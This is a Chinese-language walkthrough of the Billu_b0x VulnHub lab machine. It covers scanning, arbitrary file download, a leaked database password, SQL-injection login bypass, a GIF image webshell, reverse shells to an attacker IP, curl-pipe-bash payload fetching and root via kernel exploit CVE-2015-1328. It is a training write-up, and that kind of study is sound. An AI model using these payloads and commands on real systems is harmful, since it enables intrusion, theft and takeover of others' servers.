本文最后更新于 2024-07-26,文章内容可能已经过时。

Billu_b0x靶机渗透实战笔记

免责声明

⚠特别说明:此教程为纯技术教学!严禁利用本教程所提到的漏洞和技术进行非法攻击,本教程的目的仅仅作为学习,
决不是为那些怀有不良动机的人提供技术支持!也不承担因为技术被滥用所产生的连带责任!⚠

实验环境:

window10

攻击机:kali(VMware)

靶机:Billu_b0x(Virtualbox)

靶机下载地址https://download.vulnhub.com/billu/Billu_b0x.zip

攻击渗透实现步骤:

一、扫描采集信息

1、获取IP地址

扫描区域网内的网段发现靶机ip信息:(如果未发现ip地址,有可能说明靶机没有生成ip地址。本人的使用的环境是kali作为攻击机在vmware运行,靶机在vitualbox运行,需提前设置好网卡并实现互通,具体细节可以查看我的另一篇文章:Vitualbox联动靶机VMware,实现互通后,如果nmap扫描没有发现ip地址,可以查看我的另外一篇解决文章:VirtualBox的vulnhub靶机无法获取ip地址解决方法)

image-20240607033648826

发现靶机ip为:
查询到IP地址为  192.168.56.106
2、获取端口信息

由于nmap默认情况下只扫描常用的1000个端口,覆盖面并不全,所以建议全端口扫描

nmap -sV -sC -A -O -T4 -p 1-65535 192.168.56.106

image-20240607135012247

发现系统内核版本的范围, Linux 3.2 - 4.9

发现靶机开启了22、80端口是ssh服务(版本5.9)和Apache服务,Ubuntu服务器,尝试浏览器访问80端口

image-20240607141923033

发现应该是和SQL注入相关的

拿sqlmap跑一下

image-20240608001328468

没啥结果

3、漏洞扫描
nmap --script=vuln 192.168.137.131  无

Nessus 无

AWVS 无
4、扫描路径

使用dirb扫描

dirb http://192.168.56.106/ /usr/share/dirb/wordlists/big.txt

image-20240608000647815

使用diresearch扫描

diresearch  -u http://192.168.56.106/

image-20240608000033677

跑出来的子域名如下:

phpMyAdmin数据库管理界面 http://192.168.137.131/phpmy/

文件包含漏洞 http://192.168.137.131/panel

二 Web渗透测试

1.test.php任意文件下载

image-20240608001747903

用火狐的hackbar尝试post方式执行/etc/passwd获取密码文件,发现有任意文件下载漏洞。挨个进行尝试可以得到如下:

http://192.168.137.131/test.php  POST: file=/etc/passwd
http://192.168.137.131/test.php  POST:  file=index.php
http://192.168.137.131/test.php  POST:  file=c.php
http://192.168.137.131/test.php  POST:  file=head.php

查看下载的passwd文件。

image-20240608003105953

查看下载的c.php文件

image-20240608003232940

直接暴露出数据库信息了。

2.c.php暴露MySQL账号信息

$conn = mysqli_connect("127.0.0.1","billu","b0x_billu","ica_lab");

账号:billu 密码:b0x_billu 数据库为ica_lab,前面的获得的passwd里存在该用户。

3.进入PHPMyAdmin获取登录账号

登陆phpmyadmin,登陆成功:

image-20240608010250842

image-20240608010450497

Auth表里有像账号密码一样的数据,用该用户名biLLu和密码hEx_it成功登陆网站。

image-20240608010620825

方法二:在index.php登录界面尝试进行手工SQL进入:

$uname=str_replace('\'','',urldecode($_POST['un'])); aaa
$pass=str_replace('\'','',urldecode($_POST['ps']));  111
$run='select * from auth where  pass=\''.$pass.'\' and uname=\''.$uname.'\'';

密码 123456\   用户名 or 1=1 -- -

select * from auth where  pass='123456\' and uname= '  or 1=1 -- -  '

image-20240608010633202

是草帽路飞!很经典的一幕。

在页面发现有上传文件的地方。尝试上传图片,发现上传成功

image-20240608010745225

image-20240608112935324

5 登录成功后上传图片马

图片马的生成方式:
1 copy xxx.jpg/b + yyy.php/a yyy.jpb

2 使用GIF89a生成gif图片马
创建一个文本文档命名为tpm,输入如下内容,把文档的后缀改为gif
GIF89a
<?php @eval($_POST['code']);?>

6 图片马测试

load=uploaded_images/tpm.gif&continue=continue&code=phpinfo();

7 GetShell

方案一

使用蚁剑来getshell,由于panel.php要登录后才能访问,所以我们在使用蚁剑的时候要添加cookie,来让服务器认为我们已经登录了

登录后,使用burp抓包获取到cookie

image-20240608165248306

使用蚁剑getshell

image-20240608170222420

image-20240608170319696

方案二

利用文件包含漏洞基于图片马上传一句话木马

load=uploaded_images/tpm.gif&continue=continue&code=file_put_contents("uploaded_images/m2.php",'<?php @eval($_POST[a]);?>');

image-20240608170748388

方案三

反弹shell

在kali上开启服务端口

nc -lvnp 4444

构建POC

bash -i >& /dev/tcp/192.168.56.103/4444 0>&1

把POC转base64

YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjU2LjEwMy80NDQ0IDA+JjE=

echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjU2LjEwMy80NDQ0IDA+JjE=|base64 -d|bash
load=uploaded_images/tpm.gif&continue&code=system('echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjU2LjEwMy80NDQ0IDA+JjE=|base64 -d|bash');

image-20240608171624578

image-20240608171642498

方案四

只要目标系统能执行命令,则可以把shell脚本放置在攻击者服务器上,从攻击者的服务器下载shell脚本并执行,这种方式可以有效的避免特殊符号的过滤和替换

image-20240608173945154

curl http://ip/xxx.txt | bash

1在kali上编写一个shell脚本

image-20240511141500968

2在kali上有python开启一个服务,用来做文件服务器

python3 -m http.server 端口好

3在kali上开启反弹shell的服务器

nc -lvnp 4444

4在浏览器上运行如下代码,实现反弹

load=uploaded_images/tpm.gif&continue=continue&code=system('curl http://192.168.137.129/shell.txt |bash');

image-202240608174900001

image-20240608171642498

方案五

在目标服务器上运行如下命令,下载木马到靶机,完成木马的连接

wget http://192.168.156.103/shell.txt -O shell.php

三 系统提权

1 查看系统环境

image-20240608185019688

2 根据系统的内核搜索提权漏洞

CVE2015-1328是linux的内核漏洞。

image-20240511151749875

image-20240511151846007

3 在kali上搜索37292

image-20240608185211124

4 把kali上的37292.c上传到靶机

image-20240608185559889

image-20240608185726974

cd到文件目录,将37292.c改为可执行权限。

image-20240608190030800

或者在kali存放37292.c文件的目录下开启http服务

python3 http.server 8000

cd到临时目录在靶机上运行curl保存,之后和如下一样进行编译提权

#cd到临时目录
cd /tmp
#下载
curl -O 192.168.228.4:8000/37292.c
#编译
gcc 37292.c -o exp
#执行
./exp

image-20240608190030800

6 提权

编译

 gcc 37292.c -o exp

对37292.c进行编译

-o 输出文件的路径

提权

./exp

执行输入id查看,提权成功。

image-20240608190556332

尝试Dirty-Cow
40847.cpp  无法正常编译
40839.c    在菜刀下能编译,但是无法成功执行

尝试内核漏洞

37292.c     在冰蝎的虚拟终端下,设置PATH=/usr/local/bin:/usr/bin:/bin完成源码编译和提权
            也可以在反弹shell的场景下完成提权  CVE2015-1328